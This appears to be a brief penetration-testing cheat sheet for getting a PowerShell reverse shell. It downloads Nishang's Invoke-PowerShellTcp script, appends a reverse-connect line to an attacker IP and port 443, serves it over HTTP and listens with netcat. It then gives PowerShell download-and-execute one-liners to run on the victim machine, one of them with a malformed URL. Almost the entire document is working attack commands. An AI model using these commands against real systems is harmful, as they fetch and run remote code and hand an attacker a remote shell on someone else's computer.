Pơwershell reverse

Goals

• Get reverse shell using PowerShell
• More here: https://github.com/lethanhtung01011980/Notes/wiki/nishang_PS

Steps

In Attacker PC

• wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
• echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 443' >> Invoke-PowerShellTcp.ps1
• python3 -m http.server 80
• nc -nlvp 443

In victim PC, to download psl

• Powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.2/Invoke-PowerShellTcp.ps1')
• powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://http://10.10.14.2/Invoke-PowerShellTcp.ps1')"